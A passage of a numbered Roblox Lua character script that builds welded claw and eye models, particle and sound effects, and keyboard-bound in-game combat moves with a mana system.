  2669. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2670. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2671. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2672. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2673. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2674. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2675. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2676. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2677. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2678. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2679. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2680. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2681. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2682. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2683. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2684. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2685. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2686. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2687. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2688. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2689. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2690. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2691. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2692. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2693. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2694. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2695. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2696. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2697. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2698. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2699. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2700. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2701. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2702. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2703. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2704. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2705. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2706. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2707.  
  2708. local modelzorz3=Instance.new("Model")
  2709. modelzorz3.Parent=Character
  2710. modelzorz3.Name="Eye"
  2711.  
  2712. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2713. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2714. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2715. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2716. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2717. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2718. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2719. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2720. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2721. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2722. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2723. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2724. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2725. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2726. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2727. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2728. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2729. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2730. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2731. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2732. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2733. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2734. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2735. local moosick = it("Sound",Character)
  2736. moosick.SoundId = "rbxassetid://613035749"
  2737. --142653441, 175067863
  2738. moosick.Looped = true
  2739. moosick.Pitch = 0.9775
  2740. moosick.Volume = 1.5
  2741. moosick:Play()
  2742.  
  2743. anim = Character:findFirstChild("Animate")
  2744. if anim then
  2745. anim:Destroy()
  2746. end
  2747.  
  2748. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2749. particleemitter.VelocitySpread = 180
  2750. particleemitter.Lifetime = NumberRange.new(0.1)
  2751. particleemitter.Speed = NumberRange.new(2)
  2752. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2753. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2754. particleemitter.Rate = 100
  2755. particleemitter.Rotation = NumberRange.new(-45, 45)
  2756. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2757. particleemitter.LightEmission = 0.8
  2758. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2759.  
  2760. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2761. particleemitter.VelocitySpread = 180
  2762. particleemitter.Lifetime = NumberRange.new(0.1)
  2763. particleemitter.Speed = NumberRange.new(2)
  2764. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2765. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2766. particleemitter.Rate = 100
  2767. particleemitter.Rotation = NumberRange.new(-45, 45)
  2768. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2769. particleemitter.LightEmission = 0.8
  2770. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2771.  
  2772. local particleemitter = Instance.new("ParticleEmitter", handle)
  2773. particleemitter.VelocitySpread = 180
  2774. particleemitter.Lifetime = NumberRange.new(0.1)
  2775. particleemitter.Speed = NumberRange.new(2)
  2776. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2777. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2778. particleemitter.Rate = 100
  2779. particleemitter.Rotation = NumberRange.new(-45, 45)
  2780. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2781. particleemitter.LightEmission = 0.8
  2782. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2783.  
  2784. local light = Instance.new("PointLight", Character.Torso)
  2785. light.Color = Color3.new(255,255,255)
  2786. light.Brightness = 5
  2787. light.Range = 15
  2788.  
  2789. particleemitter.Enabled = true
  2790.  
  2791. local Footsteps = it("Sound",Character.Torso)
  2792. Footsteps.SoundId = "rbxassetid://142665235"
  2793. Footsteps.Looped = true
  2794. Footsteps.Pitch = 0.8
  2795. Footsteps.Volume = 0.3
  2796.  
  2797. local Footsteps2 = it("Sound",Character.Torso)
  2798. Footsteps2.SoundId = "rbxassetid://142665235"
  2799. Footsteps2.Looped = true
  2800. Footsteps2.Pitch = 1
  2801. Footsteps2.Volume = 0.4
  2802.  
  2803. local cam = game.Workspace.CurrentCamera
  2804.  
  2805. --cam.CameraSubject = Character
  2806.  
  2807. for i,v in pairs(Head:children()) do
  2808. if v:IsA("Sound") then
  2809. v:Destroy()
  2810. end
  2811. end
  2812.  
  2813. mouse.Button1Down:connect(function()
  2814. if attack==false and attacktype==1 then
  2815. attacktype=2
  2816. attackone()
  2817. elseif attack==false and attacktype==2 then
  2818. attacktype=3
  2819. attacktwo()
  2820. elseif attack==false and attacktype==3 then
  2821. attacktype=4
  2822. attackthree()
  2823. elseif attack==false and attacktype==4 then
  2824. attacktype=1
  2825. attackfour()
  2826. end
  2827. end)
  2828.  
  2829. mouse.KeyDown:connect(function(k)
  2830. k=k:lower()
  2831. if k=='e' then
  2832. if attack==false and mana>=20 then
  2833. Push()
  2834. end
  2835. elseif k=='g' then
  2836. if attack==false and mana>=50 then
  2837. Twirl()
  2838. end
  2839. elseif k=='v' then
  2840. if attack==false and mana>=25 then
  2841. MagicJump()
  2842. end
  2843. elseif k=='c' then
  2844. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2845. attack=true
  2846. for i = 1, 40 do
  2847. swait()
  2848. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2849. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2850. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2851. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2852. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2853. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2854. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2855. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2856. end
  2857. Blaze()
  2858. attack = false
  2859. end
  2860. elseif k=='x' then
  2861. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2862. attack=true
  2863. for i = 1, 15 do
  2864. swait()
  2865. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2866. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2867. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2868. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2869. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2870. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2871. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2872. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2873. end
  2874. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2875. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2876. for i = 0, 30 do
  2877. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2878. wait(0.1)
  2879. end
  2880. local parteffected = Instance.new("Part",tors)
  2881. parteffected.Transparency = 1
  2882. parteffected.Position = tors.Position
  2883. parteffected.CanCollide = false
  2884. parteffected.Anchored = true
  2885. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2886. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2887. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2888. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2889. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2890. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2891. local sbs = Instance.new("BodyPosition", RootPart)
  2892. sbs.P = 3000
  2893. sbs.D = 1000
  2894. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2895. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2896. for i = 1, 40 do
  2897. swait()
  2898. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2899. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2900. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2901. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2902. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2903. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2904. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2905. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2906. end
  2907. wait(3)
  2908. Blaze2()
  2909. attack = false
  2910. parteffected:Destroy()
  2911. sbs:Destroy()
  2912. end
  2913. elseif k=='q' then
  2914. if attack==false then
  2915. idle=1000
  2916. end
  2917. elseif k=='h' then
  2918. if attack==false then
  2919. mana=100
  2920. end
  2921. elseif k=='y' then
  2922. if attack==false and mana>=100 then
  2923. Shred()
  2924. end
  2925. elseif k=='f' then
  2926. if attack==false and mana>=40 then
  2927. Spin()
  2928. end
  2929. elseif k=='r' then
  2930. if attack==false and mana>=20 then
  2931. Clap()
  2932. end
  2933. elseif k=='t' then
  2934. if attack==false then
  2935. Hai()
  2936. end
  2937. elseif k=='0' then
  2938. if attack==false then
  2939. Humanoid.WalkSpeed=(24)
  2940. end
  2941. elseif k=='j' then
  2942. if attack==false then
  2943. Humanoid.Health = 10
  2944. print("Congrats, you commited suicide.")
  2945. end
  2946. end
  2947. end)
  2948.  
  2949. mouse.KeyDown:connect(function(k)
  2950. if k == "z" and Ultramode == false then
  2951. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2952. attack = true
  2953. for i = 1, 15 do
  2954. swait()
  2955. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2956. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2957. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2958. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2959. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2960. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2961. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2962. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2963. end
  2964. m:Destroy()
  2965. local m = Instance.new("Model", Character)
  2966. m.Name = "WeaponModel"
  2967. local parta = Instance.new("Part",Character)
  2968. parta.Size = vt(10,10,10)
  2969. parta.BrickColor = BrickColor.new("Really black")
  2970. parta.Material = "Neon"
  2971. parta.Shape = "Ball"
  2972. parta.Transparency = 0
  2973. parta.Anchored = true
  2974. parta.CanCollide = false
  2975. parta.CFrame = tors.CFrame
  2976. Transform()
  2977. parta:Destroy()
  2978.  
  2979. local modelzorzz=Instance.new("Model")
  2980. modelzorzz.Parent=Character
  2981. modelzorzz.Name="Claw1"
  2982.  
  2983. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2984. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2985. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2986. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2987. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2988. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2989. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2990. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2991. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2992. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2993. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2994. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2995. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2996. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2997. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2998. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2999. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3000. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  3001. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
